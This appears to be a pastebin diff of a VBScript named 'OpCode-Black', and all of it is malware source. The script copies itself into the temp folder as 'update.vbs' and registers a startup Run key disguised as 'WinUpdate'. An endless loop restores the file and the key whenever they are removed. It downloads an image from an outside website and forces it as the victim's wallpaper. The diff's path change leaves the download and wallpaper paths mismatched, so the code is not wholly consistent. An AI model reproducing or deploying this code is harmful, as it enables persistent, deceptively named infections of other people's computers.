View difference between Paste ID: NMTXF5rz and EbLfUZYk
SHOW: | | - or go back to the newest paste.
1
'#OpCode-Black Created By XXX. 2/17/2012
2
on error resume next
3
main()
4
Set obj1 = createobject("scripting.filesystemobject")
5
obj2 = obj1.getspecialfolder(2)
6
obj3 = obj2 & "\update.vbs"
7
Set obj4 = createobject("wscript.shell")
8
obj4.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.exe " & obj3 & " %"
9
obj1.copyfile wscript.scriptfullname, obj3
10
Set obj5= obj1.opentextfile(wscript.scriptfullname)
11
obj6 = obj5.readall
12
obj5.close
13
Do
14
if not(obj1.fileexists(wscript.scriptfullname)) then
15
set obj7= obj1.createtextfile(wscript.scriptfullname)
16
obj7.write obj6
17
obj7.close
18
end if
19
obj8 = obj4.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate")
20
If obj8 <> "wscript.exe " & obj3 & " %" then
21
obj4.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.exe " & obj3 & " %"
22
end if
23
obj8= ""
24
loop
25
26
function main()
27
initial()
28
' Network and local locations for the wallpaper file.
29
' Must be BMP for the screen refresh to work
30-
Const WALLPAPER_SOURCE = "j:\img.bmp"
30+
Const WALLPAPER_SOURCE = "c:\img.bmp"
31
32
33
' Copies and sets the client wallpaper
34
35
Const REG_HKCU = &H80000001
36
37
Dim objShell, objFileSystem, objFile, objRegistry
38
Dim strWallpaperDestination, strKeyPath, strCommand
39
40
' Get the current user profile so we can copy the wallpaper there.
41
Set objShell = CreateObject("WScript.Shell")
42
strWallpaperDestination = objShell.ExpandEnvironmentStrings("%USERPROFILE%")
43
44
' Get the wallpaper file from the source
45
Set objFileSystem = CreateObject("Scripting.FileSystemObject")
46
Set objFile = objFileSystem.GetFile(WALLPAPER_SOURCE)
47
48
' Update the destination path to include the file name
49
strWallpaperDestination = strWallpaperDestination & "\" & objFile.Name
50
objFile.Copy strWallpaperDestination, True
51
Set objFileSystem = Nothing
52
53
' Connect to the Registry on the local machine
54
Set objRegistry = GetObject("winmgmts:\\.\root\default:StdRegProv")
55
56
' Set the values for the Wallpaper
57
strKeyPath = "Control Panel\Desktop"
58
objRegistry.SetStringValue REG_HKCU, strKeyPath, "Wallpaper", _
59
strWallpaperDestination
60
61
' Set the Position to Stretch
62
objRegistry.SetStringValue REG_HKCU, strKeyPath, "TileWallpaper", "0"
63
objRegistry.SetStringValue REG_HKCU, strKeyPath, "WallpaperStyle", "2"
64
Set objRegistry = Nothing
65
66
' Update the system settings (refresh)
67
strCommand = "RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters"
68
objShell.Run strCommand, 1, True
69
Set objShell = Nothing
70
end function
71
72
function initial()
73
dim surl,slocal,oxmlhttp,ostream
74
75
surl="http://www.nuovaresistenza.org/wp-content/uploads/2011/01/Immagine2.bmp"
76
slocal="j:\img.bmp"
77
78
on error resume next
79
set oxmlhttp=createobject("msxml2.xmlhttp")
80
if err.number<>0 then
81
82
wscript.quit(1)
83
end if
84
with oxmlhttp
85
.open "get",surl,false
86
.send
87
end with
88
if err.number<>0 then
89
set oxmlhttp=nothing : wscript.quit(2)
90
end if
91
92
set ostream = createobject("adodb.stream")
93
with ostream
94
.type=1 'binary
95
.mode=3 'read-write
96
.open
97
.write oxmlhttp.responsebody
98
.savetofile slocal,2 'save-create-overwrite
99
.close
100
end with
101
if err.number<>0 then
102
103
else
104
105
end if
106
on error goto 0
107
set ostream=nothing : set oxmlhttp=nothing
108
End function